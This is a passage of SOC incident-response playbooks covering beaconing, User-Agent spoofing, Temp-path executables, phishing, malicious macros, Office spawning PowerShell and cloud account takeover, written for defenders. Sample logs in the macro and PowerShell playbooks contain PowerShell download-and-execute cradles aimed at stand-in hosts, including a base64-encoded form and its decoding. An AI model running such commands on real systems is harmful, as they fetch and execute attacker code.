Proxy / Web Gateway Logs

2027-03-29 01:22:10 | HTTP_GET | src=FIN-WS-07 | dest=cdn-updates-check[.]com | uri=/api/v1/ping | ua=Mozilla/5.0

2027-03-29 01:27:10 | HTTP_GET | src=FIN-WS-07 | dest=cdn-updates-check[.]com | uri=/api/v1/ping | ua=Mozilla/5.0

2027-03-29 01:32:10 | HTTP_GET | src=FIN-WS-07 | dest=cdn-updates-check[.]com | uri=/api/v1/ping | ua=Mozilla/5.0

EDR Network Telemetry

2027-03-29 01:32:10 | NETWORK_BEACON | protocol=HTTPS | interval=300s | host=FIN-WS-07

Clear low-frequency, periodic beaconing behaviour.

6. Possible Attack Scenarios

Scenario A – Primary C2 Channel

Attacker uses HTTPS beaconing as the main command channel to avoid DNS-based detection.

Scenario B – Long-Term Stealth Control

Beacon interval tuned to minutes or hours to reduce detection likelihood.

Scenario C – Blended SaaS Abuse

C2 hosted on cloud infrastructure or compromised legitimate websites to evade blocking.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which host is beaconing
- What destination is contacted
- How consistent is the interval
- Is the destination business-related

Immediate Checks

- Domain reputation and age
- Request frequency and timing
- User-Agent consistency
- Recent alerts on the same host

Decision

- Legitimate application traffic → Escalate to L2
- Consistent beacon pattern → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with endpoint process data
- Check for persistence mechanisms
- Check for secondary C2 channels
- Search environment for same beacon pattern

High-Risk Indicators

- Perfect or near-perfect intervals
- Static User-Agent across requests
- Beaconing from servers or DCs
- Beaconing after PowerShell or service creation

8. Incident Escalation Criteria

Always escalate to Incident when:

- Confirmed HTTP/S beaconing detected
- Attacker-controlled infrastructure identified

Escalate to Crisis if:

- Multiple hosts beaconing
- Data exfiltration observed
- Critical systems involved

9. Containment Actions

Immediate SOC Actions

- Block destination domain or IP
- Isolate affected host
- Terminate malicious processes

Extended IR Actions

- Remove persistence mechanisms
- Reset exposed credentials
- Preserve proxy, firewall and endpoint logs
- Coordinate with network teams

10. Recovery & Validation

- Confirm beaconing traffic stops
- Confirm no alternate C2 channels active
- Validate system integrity
- Monitor web traffic for recurrence

11. Prevention & Hardening

Control: Proxy and Egress Monitoring

Action: Detect periodic outbound connections

Control: Threat Intelligence

Action: Block malicious or newly registered domains

Control: TLS Inspection (where feasible)

Action: Inspect suspicious traffic patterns

Control: Endpoint Detection

Action: Correlate process-to-network behaviour

12. Mapping to NIST Incident Response

- Preparation: Network visibility and controls
- Detection: HTTP beacon alert
- Analysis: C2 confirmation
- Containment: Domain blocking and host isolation
- Eradication: Malware and persistence removal
- Recovery: Clean system validation
- Lessons Learned: Egress control tuning

13. SOC Perspective

- HTTP beaconing is how attackers hide in plain sight.
- If the traffic looks normal but behaves perfectly, it is probably not normal at all.
- Break the rhythm, and you break the attacker's control.

[DEFENSE EVASION] PLAYBOOK 21: USER-AGENT ANOMALY – BROWSER MASQUERADING

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-021
- Use Case Name: User-Agent Anomaly
- MITRE ATT&CK Tactic: Defense Evasion
- Technique ID: T1036
- Technique Name: Masquerading
- Threat Category: Evasion / Covert Communications
- Severity (Default): Medium
- Escalation Severity: High (if correlated with C2 or beaconing)
- Applies To: Endpoints, Servers, Proxies, WAF, Cloud Workloads
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Suspicious Network Behaviour

2. Threat Description

Malware forges legitimate-looking User-Agent strings (e.g. Chrome, Edge, Firefox) to disguise command-and-control traffic as normal browser activity.

Common characteristics include:

- Hard-coded browser User-Agent values
- Outdated or inconsistent browser versions
- User-Agent mismatch with host OS or device type

This technique helps attackers blend into web traffic and evade proxy, WAF or heuristic detection.

3. Why This Detection Matters in 2026

In 2026, User-Agent spoofing is widely used because:

- Many controls still trust User-Agent headers
- TLS encryption hides payload visibility
- Static User-Agents are easy to implement

User-Agent anomalies often appear alongside:

- HTTP beaconing

- DNS-based C2 fallback
- PowerShell or service-based persistence

On its own, it may look low-risk. In context, it often signals active C2 camouflage.

4. Detection Logic

Trigger alert when:

- Non-browser process sends web traffic with browser User-Agent
- Static User-Agent used across long time periods
- User-Agent version does not match endpoint inventory
- Server systems generating browser-like User-Agents

Increase severity if:

- Traffic is periodic or beacon-like
- Destination domain is low reputation
- User-Agent identical across multiple hosts
- Activity follows malware execution or persistence creation

5. Log Data

Proxy Logs

2027-04-06 02:18:14 | HTTP_GET | src=FIN-WS-07 | dest=api-sync-check[.]com |

ua=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Chrome/92.0.4515.159

EDR Network Telemetry

2027-04-06 02:18:14 | PROCESS_NET | process=wuhelper.exe | ua=Chrome/92 | dest=api-sync-check[.]com

Endpoint inventory shows Chrome version 120.x, not 92.x.

6. Possible Attack Scenarios

Scenario A – HTTP C2 Camouflage

Malware uses forged browser User-Agent strings to hide beaconing traffic.

Scenario B – Payload Retrieval Evasion

User-Agent spoofing used to bypass simple proxy rules blocking unknown clients.

Scenario C – Multi-Host Blending

Identical User-Agent string used across multiple infected hosts to appear legitimate.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which process generated the traffic
- Is the User-Agent consistent with installed browsers
- Is traffic periodic
- Is destination business-related

Immediate Checks

- Process-to-network mapping
- User-Agent version vs asset inventory
- Destination domain reputation
- Recent alerts on the same host

Decision

- Known application behaviour → Escalate to L2
- Unknown process using browser UA → Incident

L2 Analyst – Deep Analysis

- Analysis Steps
- Correlate with endpoint execution timeline
- Check for persistence mechanisms
- Check for DNS or HTTP beaconing patterns
- Search for same User-Agent across environment

High-Risk Indicators

- Browser UA from non-browser process
- Static UA across long periods
- UA mismatch with OS or browser version
- UA appears after PowerShell or service creation

8. Incident Escalation Criteria

Escalate to Incident when:

- User-Agent spoofing tied to malware process
- C2 behaviour confirmed

Escalate to Critical if:

- Multiple hosts share same spoofed UA
- Data exfiltration observed
- Critical systems involved

9. Containment Actions

Immediate SOC Actions

- Block destination domain or IP
- Isolate affected host if C2 suspected
- Terminate malicious process

Extended IR Actions

- Remove persistence mechanisms
 - Reset exposed credentials
 - Preserve proxy and endpoint logs
- Hunt for same UA across fleet

10. Recovery & Validation

- Confirm spoofed traffic stops
- Confirm no alternate C2 channels active
- Validate endpoint integrity
- Monitor for UA reuse

11. Prevention & Hardening

Control: Proxy Analytics

Action: Alert on UA-to-process mismatch

Control: Asset Inventory

Action: Maintain accurate browser version tracking

Control: Endpoint Security

Action: Correlate process and network behaviour

Control: Threat Hunting

Action: Hunt for static or outdated User-Agents

12. Mapping to NIST Incident Response

- Preparation: Network and asset visibility
- Detection: UA anomaly alert
- Analysis: Behaviour correlation
- Containment: Traffic blocking and isolation
- Eradication: Malware removal
- Recovery: Endpoint validation
- Lessons Learned: UA-based detection tuning

13. SOC Perspective

- User-Agent spoofing is how malware puts on a disguise.
- If a browser claim does not match the process behind it, believe the process, not the header.
- Context breaks camouflage.

[EXECUTION] PLAYBOOK 22: SUSPICIOUS EXE IN TEMP – DROPPED MALWARE PAYLOAD

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-022
- Use Case Name: Suspicious EXE in Temp
- MITRE ATT&CK Tactic: Execution
- Technique ID: T1204.002
- Technique Name: Malicious File
- Threat Category: Malware Delivery / Initial Execution
- Severity (Default): High
- Escalation Severity: Critical (if execution succeeds or persistence follows)
- Applies To: Windows Endpoints, VDI, Jump Hosts
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Malware Execution Detected

2. Threat Description

An attacker drops an executable file into a temporary directory such as %TEMP%, %TMP% or user AppData paths and executes it.

This technique is used because:

- Temp paths are user-writable
- Executables there often bypass basic allowlists
- Users and admins rarely monitor Temp directories

The executable usually acts as:

- Initial malware loader
- Second-stage payload
- Backdoor installer

This is a classic malware execution pattern.

3. Why This Detection Matters in 2026

In 2026, temp-path execution remains effective because:

- Many security controls focus on Program Files or Windows directories
- Temp execution blends with installer behaviour

- Attackers chain this with PowerShell, phishing or browser exploits

If execution succeeds, attackers typically proceed to:

- Persistence creation
- Credential dumping
- C2 communication

Early detection here can stop the attack before escalation.

4. Detection Logic

Trigger alert when:

- Executable created in Temp directory
- Executable launched from Temp path
- Executable launched shortly after file creation

Increase severity if:

File is unsigned

- Filename is random or masquerading
- Parent process is browser, Office or PowerShell
- Execution occurs outside business hours

5. Log Data

EDR File Telemetry

2027-04-18 01:09:44 | FILE_CREATE |
file=C:\Users\hafiz\AppData\Local\Temp\upd_4921.exe | signer=Unsigned

Process Execution Logs

2027-04-18 01:09:45 | PROCESS_START | process=upd_4921.exe | parent=winword.exe |
integrity=Medium

Clear indication of drop-and-execute from Temp directory.

6. Possible Attack Scenarios

Scenario A – Phishing Dropper

User opens a malicious attachment that drops and executes an EXE in the Temp directory.

Scenario B – Browser Exploit Chain

Malicious website triggers download and execution of a payload via browser or script.

Scenario C – PowerShell-Delivered Payload

PowerShell download cradle saves payload to Temp and executes it immediately.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

- Questions to Answer
- Was the EXE executed
- What is the parent process
- Is the file signed
- Is the filename legitimate

Immediate Checks

- File hash and reputation
- Parent process context
- User privilege level
- Recent alerts on the same host

Decision

- File dropped but not executed → Escalate to L2
- File executed → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Detonate file in sandbox
- Check network connections
- Check for persistence mechanisms
- Check for credential access attempts

High-Risk Indicators

- Randomized filename
- Execution from Office or browser
- Immediate outbound network traffic
- Subsequent registry or service creation

8. Incident Escalation Criteria

Escalate to Incident when:

- Executable in Temp is executed
- Malicious behaviour confirmed

Escalate to Critical if:

- Persistence mechanisms created
- C2 communication established
- Multiple hosts affected

9. Containment Actions

Immediate SOC Actions

- Terminate malicious process
- Quarantine executable
- Isolate affected host

Extended IR Actions

- Remove dropped artefacts
- Reset credentials used on affected host
- Preserve file, memory and execution logs
- Hunt for same hash across environment

10. Recovery & Validation

- Confirm no malicious files remain in Temp
- Confirm no persistence created
- Validate endpoint integrity
- Monitor for re-download attempts

11. Prevention & Hardening

Control: Application Control

Action: Block execution from Temp directories

Control: EDR

Action: Alert on Temp-path execution

Control: Email and Web Security

Action: Block executable downloads

Control: User Awareness

Action: Reduce phishing execution risk

12. Mapping to NIST Incident Response

- Preparation: Endpoint execution controls
- Detection: Suspicious file execution alert
- Analysis: Malware behaviour analysis
- Containment: Process termination
- Eradication: File removal
- Recovery: System validation
- Lessons Learned: Execution control tuning

13. SOC Perspective

- Malware rarely installs itself properly.
- If an executable runs from Temp, it is almost never there by accident.
- Treat Temp execution as malicious until proven otherwise.

[INITIAL ACCESS] PLAYBOOK 23: EMAIL ATTACHMENT OPENED – PHISHING PAYLOAD EXECUTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-023
- Use Case Name: Email Attachment Opened
- MITRE ATT&CK Tactic: Initial Access
- Technique ID: T1566.001
- Technique Name: Phishing Attachment
- Threat Category: Social Engineering / Malware Delivery
- Severity (Default): High
- Escalation Severity: Critical (if malware executes or credentials harvested)
- Applies To: User Endpoints, Email Gateways, VDI
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Phishing-Induced Compromise

2. Threat Description

A user opens a **malicious email attachment** that delivers malware or steals credentials.

Common attachment formats include:

- ZIP or RAR archives
- ISO or IMG disk images
- HTML smuggling files
- PDF or Office documents with embedded content

The attachment often leads to:

- Execution of a malware loader
- PowerShell or script execution
- Credential harvesting via fake login pages

This is one of the most common initial access vectors.

3. Why This Detection Matters in 2026

In 2026, phishing attachments remain effective because:

- Attackers continuously change file formats
- HTML smuggling bypasses email scanners

- Users are conditioned to open business documents

A single click can lead to:

- Malware execution
- Account takeover
- Lateral movement and ransomware

Speed of response here determines blast radius.

4. Detection Logic

Trigger alert when:

- User opens attachment from external sender
- Attachment spawns scripting engine or executable
- Attachment extracted and executed shortly after open

Increase severity if:

Sender domain is newly registered

- Attachment type is ZIP, ISO, HTML or LNK
- Execution follows within seconds or minutes
- User is privileged or has VPN access

5. Log Data

Email Gateway Logs

2027-05-03 09:18:21 | ATTACHMENT_DELIVERED | sender=invoice@pay-secure[.]co | file=Invoice_0425.zip

Endpoint Telemetry

2027-05-03 09:18:47 | FILE_OPEN | file=Invoice_0425.zip | user=ainur.s

2027-05-03 09:18:52 | PROCESS_START | process=setup.exe | parent=explorer.exe

Clear user-triggered phishing execution.

6. Possible Attack Scenarios

Scenario A – Malware Dropper

Attachment drops and executes a malware loader that establishes persistence and C2.

Scenario B – Credential Harvesting

HTML or PDF attachment opens a fake login page to steal credentials.

Scenario C – Multi-Stage Infection

Attachment executes script that downloads additional payloads via PowerShell.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- What attachment type was opened
- Was any process spawned
- Is the sender legitimate
- Did the user report the email

Immediate Checks

- Email headers and sender reputation
- Attachment hash and sandbox result
- Endpoint process creation
- User privilege level

Decision

- Attachment opened but no execution → Escalate to L2
- Attachment led to execution → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Analyse attachment contents
- Check for downloaded payloads
- Check for persistence mechanisms
- Check for outbound network activity

High-Risk Indicators

- ISO or HTML attachment
- Execution within seconds of open
- PowerShell or EXE launched
- Network traffic to unknown domains

8. Incident Escalation Criteria

Escalate to Incident when:

- Attachment execution confirmed
- User credentials potentially exposed

Escalate to Critical if:

- Malware execution confirmed
- Persistence or C2 observed
- Multiple users affected

9. Containment Actions

Immediate SOC Actions

- Isolate affected endpoint
- Terminate malicious processes
- Block sender and attachment hash

Extended IR Actions

- Reset user credentials
- Remove dropped files
- Preserve email and endpoint artefacts
- Search mailboxes for same attachment

10. Recovery & Validation

- Confirm no persistence mechanisms remain
- Confirm no additional payloads downloaded
- Validate account security
- Monitor user activity closely

11. Prevention & Hardening

Control: Email Security

Action: Block high-risk attachment types

Control: Endpoint Protection

Action: Detect attachment-based execution

Control: User Awareness

Action: Reinforce phishing reporting

Control: Attachment Sandboxing

Action: Detonate before delivery

12. Mapping to NIST Incident Response

- Preparation: Email security controls
- Detection: Attachment open alert
- Analysis: Payload behaviour review
- Containment: Endpoint isolation
- Eradication: Malware removal
- Recovery: Account and system validation
- Lessons Learned: Email filtering improvements

13. SOC Perspective

- Phishing attachments work because they rely on human trust.
- If a user opens it, assume the attacker already planned the next step.
- Respond fast, or the click becomes a compromise.

[INITIAL ACCESS] PLAYBOOK 24: MALICIOUS URL CLICK – PHISHING LINK REDIRECTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-024
- Use Case Name: Malicious URL Click
- MITRE ATT&CK Tactic: Initial Access
- Technique ID: T1566.002
- Technique Name: Phishing Link
- Threat Category: Social Engineering / Web-Based Delivery
- Severity (Default): High
- Escalation Severity: Critical (if credentials entered or payload downloaded)
- Applies To: User Endpoints, Browsers, Email and Web Gateways
- SOC Ownership: L1 → L2 → IR Lead

Incident Type: Phishing-Induced Initial Access

2. Threat Description

A user clicks a malicious phishing link that redirects to attacker-controlled infrastructure.

The link may:

- Lead to a fake login page
- Trigger a drive-by download
- Redirect through multiple tracking or cloaking URLs

The attacker's goal is either:

- Credential harvesting
- Payload delivery
- Session hijacking

This is one of the highest-volume initial access techniques.

3. Why This Detection Matters in 2026

In 2026, phishing links are more effective because:

- Attackers use URL shorteners and redirects
- Sites are hosted on legitimate cloud providers
- TLS encryption hides page content

A single click can:

- Expose credentials
- Launch malware
- Trigger follow-on attacks quickly

Early detection here prevents account compromise.

4. Detection Logic

Trigger alert when:

- User clicks a URL from external sender
- Browser redirected to known phishing domain
- URL triggers file download
- Multiple redirects observed in short time

Increase severity if:

- User enters credentials
- Domain is newly registered
- Payload download detected
- User is privileged or VPN-enabled

5. Log Data

Email Gateway Logs

2027-05-17 10:42:09 | URL_CLICK | user=syafiq.m | url=hxxps://secure-docs[.]cloud/login

Web Proxy Logs

2027-05-17 10:42:12 | HTTP_REDIRECT | src=FIN-WS-12 | from=secure-docs[.]cloud | to=login-microsoft-secure[.]info

2027-05-17 10:42:15 | HTTP_POST | src=FIN-WS-12 | dest=login-microsoft-secure[.]info | path=/auth

Indicates credential submission to phishing site.

6. Possible Attack Scenarios

Scenario A – Credential Harvesting

User enters credentials into a fake Microsoft 365 or VPN login page.

Scenario B – Drive-By Malware Download

Phishing site delivers a malware payload disguised as a document or update.

Scenario C – Token Theft

Attacker steals session cookies via malicious scripts or OAuth abuse.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which URL was clicked
- Did redirection occur
- Were credentials entered
- Was any file downloaded

Immediate Checks

- URL reputation and age
- Redirection chain
- Endpoint download events
- User report confirmation

Decision

- Click only, no interaction → Escalate to L2
- Credential entry or download → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Review full redirect chain
- Check browser history and cache
- Check for follow-on execution
- Search environment for similar clicks

High-Risk Indicators

- Newly registered domains
- Credential POST requests
- Payload delivery
- Repeated access attempts

8. Incident Escalation Criteria

Escalate to Incident when:

- Credentials submitted
- Payload downloaded

Escalate to Critical if:

- Privileged account involved
- Malware execution confirmed
- Multiple users affected

9. Containment Actions

Immediate SOC Actions

- Block phishing domain and redirects
- Isolate affected endpoint if payload delivered
- Terminate active sessions

Extended IR Actions

- Reset exposed credentials
- Invalidate tokens and sessions
- Preserve browser and proxy logs
- Notify email and web security teams

10. Recovery & Validation

- Confirm no malware execution
- Confirm credential reset completed
- Validate no suspicious login activity
- Monitor account for abnormal behaviour

11. Prevention & Hardening

Control: Email Security

Action: Block malicious URLs pre-click

Control: Web Proxy

Action: Inspect and block redirect chains

Control: MFA

Action: Reduce impact of stolen credentials

Control: User Awareness

Action: Reinforce phishing detection training

12. Mapping to NIST Incident Response

- Preparation: Email and web controls
- Detection: Malicious URL alert
- Analysis: Click and redirect review
- Containment: Domain blocking and session termination
- Eradication: Credential reset
- Recovery: Account validation
- Lessons Learned: Phishing defence improvement

13. SOC Perspective

- Phishing links are designed to look urgent and legitimate.
- If a user clicks, assume the attacker is already waiting.
- Every second counts between the click and containment.

[EXECUTION] PLAYBOOK 25: MACRO-ENABLED DOCUMENT – MALICIOUS VBA EXECUTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-025
- Use Case Name: Macro-Enabled Document
- MITRE ATT&CK Tactic: Execution
- Technique ID: T1059.005
- Technique Name: Visual Basic
- Threat Category: Malware Delivery / Scripted Execution
- Severity (Default): High
- Escalation Severity: Critical (if payload download or persistence observed)
- Applies To: User Endpoints, Office Applications, VDI
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Document-Based Malware Execution

2. Threat Description

A user opens a macro-enabled Office document (e.g. DOCM, XLSM) that contains malicious VBA code.

Once macros are enabled, the document executes code to:

- Download a second-stage payload
- Launch an embedded executable
- Invoke PowerShell or CMD
- Modify system or user settings

This technique relies on user interaction and trust.

3. Why This Detection Matters in 2026

Despite improved security defaults, macro abuse persists because:

- Attackers socially engineer users to enable macros
- Documents mimic invoices, HR files or reports
- Macros can chain into PowerShell and C2 quickly

Macro execution is often the first real execution point in phishing campaigns and frequently precedes:

- PowerShell download cradles
- Temp-path malware execution
- Persistence mechanisms

4. Detection Logic

Trigger alert when:

- Office application launches scripting engines
- VBA code spawns PowerShell, CMD or WScript
- Macro-enabled document opened from external source

Increase severity if:

- Macros enabled manually by user
- Document downloaded from email or web
- Execution occurs shortly after open
- Outbound network traffic follows

5. Log Data

Endpoint Telemetry

2027-06-02 10:11:24 | FILE_OPEN | file=Payment_Advice_0625.xlsm | user=nabila.r

2027-06-02 10:11:31 | PROCESS_START | process=excel.exe | child=powershell.exe

PowerShell Logs

2027-06-02 10:11:32 | POWERSHELL_START | command=IEX(New-Object Net.WebClient).DownloadString('http://files-sync[.]net/p.ps1')

Clear macro-triggered second-stage execution.

6. Possible Attack Scenarios

Scenario A – Invoice-Themed Phishing

User enables macros in a fake invoice document, triggering payload download.

Scenario B – Embedded Malware Launcher

VBA drops an EXE into Temp or AppData and executes it.

Scenario C – Credential Theft Chain

Macro launches PowerShell to harvest credentials or deploy keyloggers.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- What document type was opened
- Were macros enabled
- Did any child processes spawn
- Was network traffic generated

Immediate Checks

- Email source and sender reputation
- Document hash and sandbox verdict
- Process tree from Office application
- User privilege level

Decision

- Macros blocked or not enabled → Escalate to L2
- Macros executed → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Extract and analyse VBA code
- Identify dropped or downloaded artefacts
- Check for persistence mechanisms
- Check for C2 communication

High-Risk Indicators

- Office spawning PowerShell or CMD
- External network access from macro
- Obfuscated VBA code
- Immediate persistence creation

8. Incident Escalation Criteria

Escalate to Incident when:

- VBA macro execution confirmed
- Payload download or execution observed

Escalate to Critical if:

- Persistence mechanisms created
- Credential access observed
- Multiple users affected

9. Containment Actions

Immediate SOC Actions

- Isolate affected endpoint
- Terminate Office and child processes
- Block document hash

Extended IR Actions

- Remove dropped files and scripts
- Reset affected user credentials
- Preserve document and execution logs
- Search mailboxes for same attachment

10. Recovery & Validation

- Confirm macros disabled or blocked
- Confirm no persistence remains
- Validate endpoint integrity
- Monitor for re-execution attempts

11. Prevention & Hardening

Control: Office Security

Action: Block macros from internet-origin documents

Control: Email Security

Action: Block macro-enabled attachments

Control: Endpoint Protection

Action: Detect Office child-process spawning

Control: User Awareness

Action: Reinforce macro risk training

12. Mapping to NIST Incident Response

- Preparation: Document execution controls
- Detection: Macro execution alert
- Analysis: VBA and payload review
- Containment: Endpoint isolation
- Eradication: Malware removal
- Recovery: System validation
- Lessons Learned: Macro policy enforcement

13. SOC Perspective

- Macros only run when users trust the document.
- If macros execute, assume the attacker planned everything after that click.
- Block early, or the document becomes the delivery vehicle.

[EXECUTION] PLAYBOOK 26: OFFICE SPAWNING POWERSHELL – LIVING-OFF-THE-LAND EXECUTION

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-026
- Use Case Name: Office Spawning PowerShell
- MITRE ATT&CK Tactic: Execution
- Technique ID: T1059
- Technique Name: Command and Scripting Interpreter
- Threat Category: Living-off-the-Land / Malware Execution
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: User Endpoints, Office Applications, VDI
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: High-Confidence Malware Execution

2. Threat Description

A malicious Office document (Word, Excel, PowerPoint) spawns PowerShell as a child process.

This typically occurs via:

- VBA macros
- Embedded OLE objects
- DDE or legacy execution paths

PowerShell is then used to:

- Execute encoded commands
- Download payloads
- Run scripts fully in memory

This technique abuses trusted applications to bypass application allowlists and reduce detection.

3. Why This Detection Matters in 2026

In 2026, this pattern is considered **near-certain malicious behaviour**.

Legitimate Office usage almost never requires:

- Spawning PowerShell
- Executing encoded commands
- Making outbound web requests

Attackers rely on this chain because:

- Office is widely trusted
- PowerShell is powerful and flexible
- No custom malware binary is required

Detection here usually occurs seconds before full compromise.

4. Detection Logic

Trigger alert when:

- Office process launches powershell.exe
- PowerShell launched with encoded or obfuscated arguments
- Office launches scripting engines unexpectedly

Increase severity if:

- PowerShell uses -EncodedCommand
- Network access occurs immediately
- Parent document originated from email or web
- Execution occurs outside business hours

5. Log Data

Endpoint Process Telemetry

2027-06-15 11:03:41 | PROCESS_START | process=winword.exe | user=farah.z

2027-06-15 11:03:45 | PROCESS_START | process=powershell.exe | parent=winword.exe |

command=powershell.exe -enc

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBjAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC0AcwB5AG4AYwAuAG4AZQB0AC8AbABkAHIALgBwAHMAMQAnACkA

Decoded payload:

IEX (New-Object Net.WebClient).DownloadString('http://files-sync.net/ldr.ps1')

Clear macro-driven PowerShell execution.

6. Possible Attack Scenarios

Scenario A – Macro-Based Payload Delivery

Office macro launches PowerShell to download and execute malware.

Scenario B – Fileless Execution

PowerShell executes in memory without writing binaries to disk.

Scenario C – Pre-Persistence Deployment

PowerShell launches scripts that create scheduled tasks or services.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which Office application spawned PowerShell
- What command was executed
- Was the command encoded or obfuscated
- Did network access occur

Immediate Checks

- Parent-child process relationship
- Command-line arguments
- Document source (email or web)
- User privilege level

Decision

- Office spawning PowerShell → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Decode PowerShell commands
- Identify downloaded scripts or payloads
- Check for persistence mechanisms
- Check for C2 communication

High-Risk Indicators

- Encoded commands
- Invoke-Expression usage
- Immediate outbound network traffic
- Chained PowerShell executions

8. Incident Escalation Criteria

Always escalate to Incident when:

- Office spawns PowerShell
- Encoded or network-based execution observed

Escalate to Critical if:

- Persistence mechanisms created
- Credential access follows
- Multiple hosts affected

9. Containment Actions

Immediate SOC Actions

- Terminate PowerShell and Office processes
- Isolate affected endpoint
- Block associated URLs or domains

Extended IR Actions

- Remove downloaded artefacts
- Reset affected user credentials
- Preserve PowerShell and Office logs
- Search environment for similar behaviour

10. Recovery & Validation

- Confirm no PowerShell persistence remains
- Confirm no scheduled tasks or services created
- Validate endpoint integrity
- Monitor for repeat Office-to-PowerShell execution

11. Prevention & Hardening

Control: Office Child Process Protection

Action: Block Office from spawning PowerShell

Control: PowerShell Logging

Action: Enable Script Block and AMSI logging

Control: Email Security

Action: Block macro-enabled attachments

Control: Application Control

Action: Restrict scripting engine execution

12. Mapping to NIST Incident Response

- Preparation: Execution control policies
- Detection: Office-to-PowerShell alert
- Analysis: Script decoding and behaviour review
- Containment: Process termination and isolation
- Eradication: Payload removal
- Recovery: System validation
- Lessons Learned: Execution chain prevention

13. SOC Perspective

- Office should open documents, not shells.
- When Word launches PowerShell, the attacker has already crossed the line.
- Treat this as active compromise, not a warning.

[INITIAL ACCESS] PLAYBOOK 27: UNUSUAL CLOUD LOGIN – CLOUD ACCOUNT COMPROMISE

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-027
- Use Case Name: Unusual Cloud Login
- MITRE ATT&CK Tactic: Initial Access
- Technique ID: T1078.004
- Technique Name: Cloud Accounts
- Threat Category: Account Takeover / Identity Compromise
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: M365, Azure AD, AWS, GCP, SaaS Platforms
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Cloud Account Compromise

2. Threat Description

An attacker logs into **cloud services** using stolen credentials, session cookies or access tokens.

Indicators include:

- Login from abnormal geolocation
- Login from unfamiliar device or browser
- Impossible travel between locations
- Bypass of MFA using token theft or legacy auth

This provides attackers immediate access to email, files, APIs and cloud resources.

3. Why This Detection Matters in 2026

In 2026, cloud identity compromise is one of the highest-impact attack vectors.

Attackers target cloud accounts because they enable:

- Email interception and internal phishing
- Data exfiltration at scale
- Privilege escalation via IAM misconfigurations
- Persistence via tokens, API keys or OAuth apps

Once inside the cloud, attackers can operate without touching endpoints.

4. Detection Logic

Trigger alert when:

- Login from new country or ASN
- Login from new device fingerprint
- Impossible travel detected
- Login outside user's historical pattern

Increase severity if:

- MFA not challenged or bypassed
- Legacy authentication used
- Privileged or admin account involved
- Login followed by data access or export

5. Log Data

Cloud Identity Logs

2027-07-04 02:21:18 | LOGIN_SUCCESS | user=amir.h | service=M365 |
location=Russia | device=Unknown | mfa=Bypassed

Follow-on Activity

2027-07-04 02:23:11 | MAILBOX_ACCESS | user=amir.h | action=Search
2027-07-04 02:25:42 | FILE_DOWNLOAD | user=amir.h | source=OneDrive

Clear indication of account takeover with immediate abuse.

6. Possible Attack Scenarios

Scenario A – Credential Phishing

User enters credentials into a fake login page, enabling attacker access from overseas.

Scenario B – Session Token Theft

Attacker reuses stolen cookies or OAuth tokens to bypass MFA.

Scenario C – Cloud-to-Cloud Lateral Movement

Compromised account used to send phishing emails or create new OAuth consents.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is the location normal for the user
- Is the device known
- Was MFA challenged
- What actions occurred post-login

Immediate Checks

- User login history
- Device fingerprint
- IP reputation and ASN
- User confirmation

Decision

- User confirms travel → Escalate to L2
- User denies login or high risk → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Review session details and tokens
- Check for mailbox rules or forwarding
- Check OAuth apps and API keys
- Check for admin role changes

High-Risk Indicators

- MFA bypass or legacy auth
- Immediate data access
- Mailbox rule creation
- OAuth consent granted

8. Incident Escalation Criteria

Always escalate to Incident when:

- User denies the login
- MFA bypass detected

Escalate to Crisis if:

- Admin or cloud owner account compromised
- Multiple cloud services accessed
- Large-scale data access observed

9. Containment Actions

Immediate SOC Actions

- Force logout and revoke sessions
- Reset user password
- Disable legacy authentication

Extended IR Actions

- Revoke OAuth tokens and API keys
- Remove malicious mailbox rules
- Audit cloud activity logs
- Notify cloud and IAM teams

10. Recovery & Validation

- Confirm no active malicious sessions
- Confirm MFA enforced
- Validate no persistence mechanisms remain
- Monitor for repeated login attempts

11. Prevention & Hardening

Control: Conditional Access

Action: Enforce geo and device-based access

Control: MFA

Action: Require phishing-resistant MFA

Control: Token Management

Action: Monitor and revoke abnormal tokens

Control: Logging

Action: Enable detailed cloud audit logs

12. Mapping to NIST Incident Response

- Preparation: Cloud IAM governance
- Detection: Unusual login alert
- Analysis: Session and activity review
- Containment: Session revocation
- Eradication: Credential and token reset
- Recovery: Secure access restoration
- Lessons Learned: Conditional access tuning

13. SOC Perspective

- In the cloud, identity is the perimeter.
- If attackers steal the login, they don't need malware at all.
- Contain fast, revoke everything, and assume persistence until proven otherwise.

[INITIAL ACCESS] PLAYBOOK 28: API TOKEN MISUSE – APPLICATION ACCESS TOKEN ABUSE

1. Playbook Overview

